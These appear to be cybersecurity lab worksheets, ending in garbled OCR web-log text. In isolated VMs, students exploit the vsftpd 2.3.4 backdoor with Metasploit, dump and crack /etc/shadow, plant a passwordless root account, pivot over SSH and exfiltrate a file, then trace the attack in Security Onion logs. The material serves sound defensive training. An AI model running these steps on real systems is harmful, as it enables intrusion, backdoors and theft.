From the ELSA queries on the left side bar, click DNS > Bottom to the left of Requests. This returns records for all the DNS requests sorted so that the least frequent appear first. Scroll down in the results to see a few queries for ns.example.com with a hex string as the first part of the subdomain name. Typically, domain names are not 63-byte hexadecimal expressions. This could signal malicious activity because users probably cannot remember a long subdomain name with random letters and numbers.
[image: ]
Click one of the links and copy the 63-byte string prepended to ns.example.com.
[image: ]
Open a terminal window and use the echo and xxd commands to revert the hex string. The -n option prevents the output of the trailing newline. 
analyst@SecOnion:~/Desktop$ echo -n "434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p
CONFIDENTIAL DOCUMENT
DO NOT Sanalyst@SecOnion:~/Desktop$
If you continue to revert the hex strings, what is the result?
____________________________________________________________________________________
____________________________________________________________________________________


Lab – Isolated Compromised Host Using 5-Tuple
Objectives
In this lab, you will review logs during an exploitation of a documented vulnerability to determine the compromised hosts and file.
Part 1: Prepare the Virtual Environment
Part 2: Review the Logs
Background / Scenario
The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure network environment. The components of the 5-tuple include a source IP address and port number, destination IP address and port number, and the protocol in use.
In this lab, you will also review the logs to identify the compromised hosts and the content of the compromised file.
Required Resources
Host computer with at least 3 GB of RAM and 10 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
One virtual machine: Alternate Security Onion VM
Prepare the Virtual Environment
Download the Alternate Security Onion virtual machine.
Launch Oracle VirtualBox. Import the Alternate Security Onion VM.
Launch and log into Alternate Security Onion VM. Log in with the user analyst and password cyberops.
In the Alternate Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK before moving on to the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server                                                       [  OK  ]
Status: HIDS
  * ossec_agent (sguil)                                                [  OK  ]
Status: Bro
Name         Type    Host             Status    Pid    Started
manager      manager localhost        running   5577   26 Jun  10:04:27
proxy        proxy   localhost        running   5772   26 Jun  10:04:29
seconion-eth0-1 worker  localhost        running   6245   26 Jun  10:04:33
seconion-eth1-1 worker  localhost        running   6247   26 Jun  10:04:33
seconion-eth2-1 worker  localhost        running   6246   26 Jun  10:04:33
Status: seconion-eth0
  * netsniff-ng (full packet data)                                     [  OK  ]
  * pcap_agent (sguil)                                                 [  OK  ]
  * snort_agent-1 (sguil)                                              [  OK  ]
  * snort-1 (alert data)                                               [  OK  ]
  * barnyard2-1 (spooler, unified2 format)                             [  OK  ]
<output omitted>
Review the Logs
After the attack, the users no longer have access to the file named confidential.txt. Now you will review the logs to determine how the file was compromised.
[bookmark: _Hlk499116352]Note: If this was a production network, it is recommended that analyst and root users change their passwords and comply with the current security policy.
Review alerts in Sguil.
Open Sguil and log in. Click Select All and then Start SGUIL.
[bookmark: _Hlk487532164]Review the Events listed in the Event Message column. Two of the messages are GPL ATTACK_RESPONSE id check returned root. These messages indicate that root access may have been gained during an attack. The host at 209.165.200.235 returned root access to 209.165.201.17. Select the Show Packet Data and Show Rule checkbox to view each alert in more detail.
[image: ]
Select the returned root message that is associated with Sensor seconion-eth1-1 for further analysis. In the figure below, Alert ID 5.5846 and its correlated event are used.
[image: ]
Right-click the number under the CNT heading to select View Correlated Events.
[image: ]
In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root alerts and select Transcript. The Alert ID 5.5848 is used in this example.
[image: ]
Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions between the threat actor and the target during the attack.
[image: ] [image: ]
What had happened during the attack?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Pivot to Wireshark.
Select the alert that provided you with the transcript from the previous step. Right-click the Alert ID and select Wireshark.
[image: ]
To view all packets assembled in a TCP conversation, right-click any packet and select Follow TCP Stream.
[image: ]
What did you observe? What do the text colors red and blue indicate?
____________________________________________________________________________________
____________________________________________________________________________________
Exit the TCP stream window. Close Wireshark when you are done reviewing the information provided by Wireshark.
Use ELSA to pivot to the Bro Logs.
Return to Sguil. Right-click either the source or destination IP for the same GPL ATTACK_RESPONSE id check returned root alert and select ELSA IP Lookup > DstIP. Enter username analyst and password cyberops when prompted by ELSA.
Note: If you received the message "Your connection is not private", click ADVANCED > Proceed to localhost (unsafe) to continue.
[image: ]
Change the date in the From field to the date before the date displayed in Sguil. Click Submit Query.
Click bro_notice.
[image: ]
The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235. The attacker probably found vulnerabilities on 209.165.200.235 to gain access.
[image: ]
If an attacker has compromised 209.165.200.235, you want to determine the exploit that was used and what was accessed by the attacker.
Return to Squil to investigate attack.
Navigate to Sguil and click the RealTime Events tab. Locate the ET EXLOIT VSFTPD Backdoor User Login Smiley events. These events are possible exploits and occurred within the timeframe of unauthorized root access.
[image: ]
Right-click the number under the CNT heading and select View Correlated Events to view all the related events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-eth1-1 interface.
In the new tab with all the correlated events, right-click the Alert ID and select Transcript to view each alert in more detail. The latest alert is likely to display the TCP transmission between the attacker and victim.
[image: ]
You can also right-click the Alert ID and select Wireshark to review and save the pcap file and TCP stream.
Use ELSA to view exfiltrated data.
To use ELSA for more information about the same alert as above, right-click either the source or destination IP address and select ELSA IP Lookup > DstIP.
Change the date in the From field to before the event occurred as indicated by the timestamp in Sguil.
Click bro_ftp to view ELSA logs that are related to FTP.
[image: ]
Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
____________________________________________________________________________________
Click info to view the transactions in the last record. The reply_msg field indicates that this is the last entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary.
[image: ]
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
[image: ]
To determine the content of the file that was compromised, open ELSA by double clicking the icon on the Desktop to open a new tab and perform a new search.
Expand FTP and click FTP Data.
Change the date in the From field as necessary to include the time period of interest, and click Submit Query.
Click one of the Info links and select getPcap from the dropdown menu to determine the content of the stolen file.
[image: ]
The result displays the content of the file named confidential.txt that was transferred to the FTP server.
[image: ]
Clean up
Shut down the VM when finished.
Reflection
In this lab, you have reviewed the logs as a cybersecurity analyst. Now summarize your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________


Lab – Isolated Compromised Host Using 5-Tuple
Topology
[image: ]
Objectives
In this lab, you will review logs during an exploitation of a documented vulnerability to determine the compromised hosts and file.
Part 1: Prepare the Virtual Environment
Part 2: Reconnaissance
Part 3: Exploitation
Part 4: Infiltration
Part 5: Review the Logs
Background / Scenario
The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure network environment. The components of the 5-tuple include a source IP address and port number, destination IP address and port number, and the protocol in use.
In this lab, you will exploit a vulnerable server using known exploits. You will also review the logs to determine the compromised hosts and file.
Required Resources
Host computer with at least 8 GB of RAM and 35 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
Four virtual machines:
	Virtual Machine
	RAM
	Disk Space
	Username
	Password

	CyberOps Workstation VM
	1GB
	7GB
	analyst
	cyberops

	Kali
	1GB
	10GB
	root
	cyberops

	Metasploitable
	512KB
	8GB
	msfadmin
	msfadmin

	Security Onion
	3 GB
	10GB
	analyst
	cyberops


Prepare the Virtual Environment
Launch Oracle VirtualBox.
In the CyberOps Workstation window, verify that the Network set to Internal Network. Select Machine > Settings > Network. Under Attached To, select Internal Network. In the dropdown menu next to Name, select inside, then click OK.
[image: ]
Launch and log into CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines.
In the CyberOps Workstation VM, open a terminal and configure the network by executing the configure_as_static.sh script.
Because the script requires super-user privileges, provide the password for the user analyst.
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst: 
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1

IP Configuration successful.
[analyst@secOps ~]$
In the Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK before moving on to the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server                                                       [  OK  ]
Status: HIDS
  * ossec_agent (sguil)                                                [  OK  ]
Status: Bro
Name         Type    Host             Status    Pid    Started
manager      manager localhost        running   5577   26 Jun  10:04:27
proxy        proxy   localhost        running   5772   26 Jun  10:04:29
seconion-eth0-1 worker  localhost        running   6245   26 Jun  10:04:33
seconion-eth1-1 worker  localhost        running   6247   26 Jun  10:04:33
seconion-eth2-1 worker  localhost        running   6246   26 Jun  10:04:33
Status: seconion-eth0
  * netsniff-ng (full packet data)                                     [  OK  ]
  * pcap_agent (sguil)                                                 [  OK  ]
  * snort_agent-1 (sguil)                                              [  OK  ]
  * snort-1 (alert data)                                               [  OK  ]
  * barnyard2-1 (spooler, unified2 format)                             [  OK  ]
<output omitted>
Reconnaissance
In this part, you will use nmap to determine if the Metasploitable VM has a vulnerability associated with vsftpd version 2.3.4.
In the Security Onion VM, enter date to display the date and time.
analyst@SecOnion:~/Desktop$ date
Record your date and time.
____________________________________________________________________________________
In the Kali VM, right-click the Desktop and select Open Terminal.
Using nmap options, you will use a script to test for an FTP vulnerability on the Metasploitable VM at 209.165.200.235. Enter the following command:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason > ftpd.txt
The results can be redirected and saved to a text file. This process will take a few moments.
When the prompt returns, open the text file containing the nmap results.
root@kali:~# cat ftpd.txt
The result lists the vsftpd vulnerability and other open ports that are detected by nmap on the Metasploitable VM. In this lab, you will exploit the vulnerability with port 21. 
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-11 11:34 EDT
Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  OSVDB:73573  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       http://osvdb.org/73573
<output omitted>
Exploitation
Now you have determined that you could gain root access to the Metasploitable VM, you will exploit the vsftp vulnerability to gain full control of the Metasploitable VM. You will compromise the /etc/shadow file so you may gain access to other hosts in the network.
Set up the exploit.
In this step, you will use Metasploit Framework to launch the exploit against the Metasploitable VM using vsftpd. The Metasploit Framework is a tool for developing and launching attacks against a remote target host. It can be also used to test the vulnerability of a host.
In a terminal on the Kali VM, enter msfconsole at the prompt to start the Metasploit Framework. This will take a few moments.
root@kali:~# msfconsole
At the msf prompt, enter search vsftpd to search for the module that is associated with the VSFTPD v2.3.4 backdoor. You will use this module for exploitation. This search will take a few moments when building the database for the first time.
msf > search vsftpd
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution
The exploit has been found. Enter the following command at the prompt to use the vsftp backdoor exploit.
msf > use exploit/unix/ftp/vsftpd_234_backdoor
From the exploit prompt, set the target host to the Metasploitable VM.
msf exploit(vsftpd_234_backdoor) > set rhost 209.165.200.235
rhost => 209.165.200.235
Verify the exploit setup. Enter show options at the prompt.
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  209.165.200.235  yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic
Execute the exploit.
Now you will use the vsftpd exploit to gain root access to the Metaspoitable VM.
At the prompt, enter the exploit command to execute the exploit.
msf exploit(vsftpd_234_backdoor) > exploit

[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 209.165.200.235:21 - USER: 331 Please specify the password.
[+] 209.165.200.235:21 - Backdoor service has been spawned, handling...
[+] 209.165.200.235:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (209.165.201.17:33985 -> 209.165.200.235:6200) at 2017-07-11 11:53:35 -0400
This enters the Metasploit Framework terminal and you now have root access to the Metasploitable VM from the Kali host. Notice that there is no system prompt presented. To verify that you have root access to Metasploitable VM, enter whoami.
whoami
What is the current username? __________________________________
Enter hostname to verify name of the host.
hostname
What is the hostname? _______________________________________
The IP address of the Metasploit VM is 209.165.200.235. Enter ifconfig to verify the IP address on the current host.
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:15:91:86  
          inet addr:209.165.200.235  Bcast:209.165.200.255  Mask:255.255.255.224
          inet6 addr: fe80::a00:27ff:fe15:9186/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:78058 errors:2 dropped:0 overruns:0 frame:0
          TX packets:195672 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11803523 (11.2 MB)  TX bytes:91415071 (87.1 MB)
          Interrupt:10 Base address:0xd020 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1048 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1048 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:450261 (439.7 KB)  TX bytes:450261 (439.7 KB)
To gain full control of the Metasploitable VM, begin by displaying the content of the /etc/shadow file. The /etc/shadow file stores the password information in an encrypted format for the system's accounts along with optional aging information.
Enter the cat /etc/shadow command to display the content.
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
<some output omitted>
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::
Highlight the content of /etc/shadow and right-click the highlighted content and select Copy. 
Open a new terminal in the Kali VM, and start the nano text editor. Enter nano /root/shadow.txt at the prompt. 
root@kali:~# nano /root/shadow.txt
Right-click the blank space in nano and select Paste. After you have pasted the content, eemove blank any blank lines at the bottom, if necessary. Enter Ctl-X to save and exit nano. Press y when asked to save the file and accept the filename shadow.txt.
This saved /root/shadow.txt file will be used in a later step with John the Ripper to crack the passwords of some of the login names so you can access the system remotely via SSH.
In the same terminal, enter the cat command and grep to display only the details for the root user.
root@kali@~# cat /root/shadow.txt | grep root
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
Notice that the colons (:) separate each line into 9 fields. Using the root user account as an example, root is the login name and $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. is the encrypted password. The next 6 fields define the configurations for the password, such as date of last change, minimum and maximum password age, and password expiration date. The last field is reserved for future use.
To learn more about the /etc/shadow file, enter man shadow at a terminal prompt.
Return to the Metasploit Framework terminal on the Kali VM. You will add a new user myroot to Metasploitable VM. This user will have the same password configurations as root.
When creating the new user, you will use the same 9 fields as the root user; except you will delete the encrypted password associated with the root user and leave the password field empty. When the password field is empty, no password is needed to log in as the user myroot.
The echo command will append a new line to add the new user myroot to the /etc/shadow file.
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/shadow file.
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
Verify that you added the new user myroot to /etc/shadow.
cat /etc/shadow
<output omitted>
myroot::14747:0:99999:7:::
Why was it necessary to copy the content of /etc/shadow file to a new text file on Kali VM?
Hint: What would happen if you enter the cat /etc/shadow > /root/shadow.txt in the Metasploit Framework console?
____________________________________________________________________________________
To allow myroot to login with elevated privileges, you will add the user myroot with the same user ID number (UID), user's group ID number (GID), user description, user home directory, and login shell as the root to the /etc/passwd file. The colons (:) separate the fields, and the x in the second field represents the password for the user. The encrypted password can be found in the /etc/shadow file for the same user.
Return to the Metasploitable remote connection terminal window and enter the cat command to see the information for root. 
cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
Use the following echo command to append the settings for myroot to /etc/password.
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/passwd file.
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
To learn more about the /etc/passwd file, enter man 5 passwd at a terminal prompt.
Verify that you added the new user myroot to /etc/passwd.
cat /etc/passwd
<output omitted>
myroot:x:0:0:root:/root:/bin/bash
With root access, the user myroot has complete control of Metasploitable VM.
Enter exit when done.
exit

[*] 209.165.200.235 - Command shell session 1 closed.  Reason: Died from EOFError

msf exploit(vsftpd_234_backdoor) >
Press Enter and type quit to exit the Metasploit Framework console.
Infiltration
Crack the passwords using John the Ripper.
John the Ripper is a tool used to find weak passwords of users. In this step, you will use John the Ripper to crack weak passwords.
From the Kali VM root prompt, verify that the shadow file is in the /root folder on Kali VM.
At the root prompt on Kali VM, enter john command to crack the passwords. Use the show option to view cracked passwords reliably.
Note: The password cyberops was added to the /usr/share/john/password.lst file to speed up the password cracking process. 
root@kali:~# john --show /root/shadow.txt 
analyst:cyberops:17338:0:99999:7:::

1 password hash cracked, 7 left
After you have cracked the password for the user analyst, you can access Metasploitable via SSH using the login name analyst. 
Find the targeted host.
In this step, you will use different commands to find the IP address of a possible host on the internal network behind the DMZ.
[bookmark: _Hlk491157364]Establish an SSH session to the Metasploitable VM. Enter yes to accept the RSA digital signature when connecting for the first time. Connection may take a few moments. Enter cyberops as the password when prompted.
root@kali:~# ssh analyst@209.165.200.235
analyst@209.165.200.235's password: 
Verify that you have root access to Metasploitable. Enter the su -l myroot at the prompt. Notice that the prompt has changed from analyst@metasploitable to root@metasploitable.
analyst@metasploitable:~$ su -l myroot
root@metasploitable:~#
Display the /etc/shadow file.
root@metasploitable:~# cat /etc/shadow
Enter exit at the prompt to return to the access privileges of the user analyst.
Now display the /etc/shadow file as analyst.
analyst@metasploitable:~$ cat /etc/shadow
Why did you receive an error message? Record the message and explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Enter ifconfig to list all the network interfaces on Metasploitable.
analyst@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ab:84:07  
          inet addr:209.165.200.235  Bcast:209.165.200.255  Mask:255.255.255.224
          inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1610 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:117030 (114.2 KB)  TX bytes:123570 (120.6 KB)
          Interrupt:10 Base address:0xd020 
<output omitted>
Enter ip route to determine the default gateway for this network.
analyst@metasploitable:~$ ip route
209.165.200.224/27 dev eth0  proto kernel  scope link  src 209.165.200.235
default via 209.165.200.226 dev eth0  metric 100
What is the default gateway?
____________________________________________________________________________________
In the same terminal window, establish another SSH session to the Security Onion VM at 209.165.200.226 (eth1 interface) as the user analyst. Enter yes to accept the RSA digital signature when connecting for the first time. It could take a few moments to connect. Use the password cyberops when prompted.
analyst@metasploitable:~$ ssh analyst@209.165.200.226
Enter ifconfig to view the list of network interfaces.
analyst@SecOnion:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c3:cd:8c  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec3:cd8c/64 Scope:Link
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:656 (656.0 B)  TX bytes:9377 (9.3 KB)
<output omitted>
You have determined the subnet for the LAN, 192.168.0.0/24. Now you will use a for loop to determine the active hosts on the LAN. To save time, you will only ping the first 15 hosts.
analyst@SecOnion:~$ for ((i=1;i<15;i+=1)); do ping -c 2 192.168.0.$i; done
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.027 ms
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.028/0.031/0.034/0.003 ms
<output omitted>
PING 192.168.0.11 (192.168.0.11) 56(84) bytes of data.
64 bytes from 192.168.0.11: icmp_seq=1 ttl=64 time=0.606 ms
64 bytes from 192.168.0.11: icmp_seq=2 ttl=64 time=0.262 ms

--- 192.168.0.11 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.262/0.434/0.606/0.172 ms
<output omitted>
Only 192.168.0.1 (Security Onion eth0) and 192.168.0.11 (CyberOps Workstation VM) are responding to the ping requests. Establish an SSH session into the CyberOps Workstation VM. Enter yes to accept the RSA digital signature when connecting for the first time. Enter cyberops as the password.
analyst@SecOnion:~$ ssh 192.168.0.11
Exfiltrate a confidential file.
You now have access to the CyberOps Workstation VM through a series of SSH sessions (Kali VM > Security Onion VM > CyberOps Worstation VM) using the password that was cracked in a previous step. Now you will access a confidential file and exfiltrate the content.
Verify that you are in the analyst's home directory. Change directory to lab.support.files.
[analyst@secOps ~]$ cd lab.support.files
List the files that are in the directory. Verify that confidential.txt file is in the folder.
Establish an FTP session to the Metasploitable VM. Use the default user analyst and enter cyberops as the password.
[analyst@secOps lab.support.files]$ ftp 209.165.200.235
Connected to 209.165.200.235.
220 (vsFTPd 2.3.4)
Name (209.165.200.235:analyst): analyst
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Upload the confidential.txt file to the Metasplolitable VM. Now you have access to the file and you can move it to the Kali VM for your use if desired. 
ftp> put confidential.txt 
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
103 bytes sent in 0.000104 seconds (41.6 kbytes/s)
Enter quit when you have finished transferring the file.
Encrypt the data and remove the original.
Threat actors often will encrypt the confidential data and store it locally, possible for ransoming later. Zip the confidential.txt file and encrypt it. Enter cyberops as the password.
analyst@secOps lab.support.files]$ zip -e confidential.zip confidential.txt
Enter password: 
Verify password: 
  adding: confidential.txt (deflated 4%)
Remove the confidential.txt file from CyberOps Workstation VM.
[analyst@secOps lab.support.files]$ rm confidential.txt
Enter exit three times until you are back at the root@kali:~# prompt.
Now the attacker can copy the file from the FTP on the Metasploitable VM to the Kali VM. This could take a few moments. Enter the password cyberops when prompted.
root@kali:~# scp analyst@209.165.200.235:/home/analyst/confidential.txt ~
analyst@209.165.200.235's password:
confidential.txt                              100%  102   102.1KB/s   00:00
Note: You can copy the file directly from CyberOps Workstation VM to the Kali VM if there is a user account other than root configured on Kali VM. Because FTP transmits the content in plaintext, you will be able to view the content in packets using Wireshark.
If desired, you can log back into Metasploitable and remove the file confidential.txt from the FTP server.
root@kali:~# ssh analyst@209.165.200.235
analyst@209.165.200.235's password:
analyst@metasploitable:~$ rm confidential.txt
At this time, you can shut down Metasploitable, CyberOps Workstation, and Kali virtual machines. 
Review the Logs
After the attack, the user analyst no longer has access to the file named confidential.txt. Now you will review the logs to determine how the file was compromised.
Note: If this was a production network, it would be desirable for the users analyst and root to change the password and comply with the current security policy.
Review alerts in Squil.
Access the Security Onion VM. Log in with the user analyst and password cyberops. 
Open Sguil and log in. Click Select All and then Start SGUIL. 
Review the Events listed in the Event Message column. Two of the messages are GPL ATTACK_RESPONSE id check returned root. This message indicates that root access may have been gained during an attack. The host at 209.165.200.235 returned root access to 209.165.201.17. Select the Show Packet Data and Show Rule checkbox to view each alert in more detail.
[image: ]
Select the returned root message that is associated with Senor seconion-eth1-1 for further analysis. In the figure below, Alert ID 5.2568 and its correlated event are used. However, your Alert ID will be most likely be a different number.
[image: ]
Right-click the number under the CNT heading to select View Correlated Events.
[image: ]
In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root alerts and select Transcript. The Alert ID 5.2570 is used in this example.
[image: ]
Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions between the Kali (threat actor) and Metasploitable (target) during the attack.
[image: ] [image: ]
What had happened during the attack?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Pivot to Wireshark.
Select the alert that provided you with the transcript from the previous step. Right-click the Alert ID and select Wireshark. The Wireshark's main window displays 3 views of a packet.
[image: ]
To view all packets assembled in a TCP conversation, right-click any packet and select Follow TCP Stream.
[image: ]
What did you observe? What do the text colors red and blue indicate?
____________________________________________________________________________________
____________________________________________________________________________________
Exit the TCP stream window. Close Wireshark when you are done reviewing the information provided by Wireshark.
Use ELSA to pivot to the Bro Logs.
Return to Sguil. Right-click either the source or destination IP for the same GPL ATTACK_RESPONSE id check returned root alert and select ELSA IP Lookup > DstIP. Enter username analyst and password cyberops when prompted by ELSA.
Note: If you received the message "Your connection is not private", click ADVANCED > Proceed to localhost (unsafe) to continue.
[image: ]
Click bro_notice.
[image: ]
The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235, the Metasploitable VM. The attacker probably found vulnerabilities on the Metasploitable VM to gain access.
[image: ]
If an attacker has compromised Metasploitable, you want to determine the exploit that was used and what was accessed by the attacker.
Return to Squil to investigate attack.
Navigate to Sguil and click the RealTime Events tab. Locate the ET EXLOIT VSFTPD Backdoor User Login Smiley events. These events are possible exploits and occurred within the timeframe of unauthorized root access. Alert ID 5.2567 is used in this example.
[image: ]
Right-click the number under the CNT heading and select View Correlated Events to view all the related events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-eth1-1 interface.
In the new tab with all the correlated events, right-click the Alert ID and select Transcript to view each alert in more detail. Alert ID 5.2569 is used as an example. The latest alert is likely to display the TCP transmission between the attacker and victim.
[image: ]
You can also right-click the Alert ID and select Wireshark to review and save the pcap file and TCP stream.
Use ELSA to view exfiltrated data.
To use ELSA for more information about the same alert as above, right-click either the source or destination IP address and select ELSA IP Lookup > DstIP.
Click bro_ftp to view ELSA logs that are related to FTP.
[image: ]
Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
____________________________________________________________________________________
Click info to view the transactions in the last record. The reply_msg field indicates that this is the last entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.
[image: ]
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
[image: ]
To determine the content of the file that was compromised, open ELSA by double clicking the icon on the Desktop to open a new tab and perform a new search.
Expand FTP and click FTP Data. Click one of the Info links and select getPcap from the dropdown menu to determine the content of the stolen file.
[image: ]
The result displays the content of the file named confidential.txt that was transferred to the FTP server.
[image: ]
Clean up
Shut down all VMs when finished.
Reflection
In this lab, you have used a vulnerability to gain access to unauthorized information and reviewed the logs as a cybersecurity analyst. Now summarize your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
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e . com/presentations/1ogstash-moni torana-2013. 02i113/5.0 (Macintosh; Intel Mal
c 05 X 10_9_1) ApplellebKit/537.36 (KHTHL, like Gecko) Chrome/32.0.1700.77 Safari]
/537.36"
63.149.9.216 - - [04/Jan/2015:05:13:44 +0000] "GET /presentations/logstash-nonit|
orama-2013/plugin/highlight/highlight. js HTTP/1.1" 200 26185 "http://semicomplet)
e . com/presentations/logstash-moni torans-2013. 02i115/5.0 (Macintosh; Intel Mal
c 05 X 10_9_1) ApplellebKit/537.36 (KHTHL, like Gecko) Chrome/32.0.1700.77 Safari]
/537.36"
63.149.9.216 - - [04/Jan/2015:05:13:44 +0000] "GET /presentations/logstash-nonit|
orama-2013/plugin/zoon-js/zoom. js HTTP/1.1" 200 7697 “http://semicomplete.com/pr)
lesentations/logstash-nonitorana-2013/" “Mozilla/5.0 (Macintosh; Intel Mac OS X
0_5_1) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36
83.149.9.216 - - [04/Jan/2015:05:13:45 +0000] "GET /presentations/logstash-nonit|
orama-2013/plugin/notes/notes. js HITP/1.1" 200 2892 "http://semicomplete.con/pre|
sentations/logstash-monitorana-2013/" "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10|
,a,aﬁ ApplellebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
/3
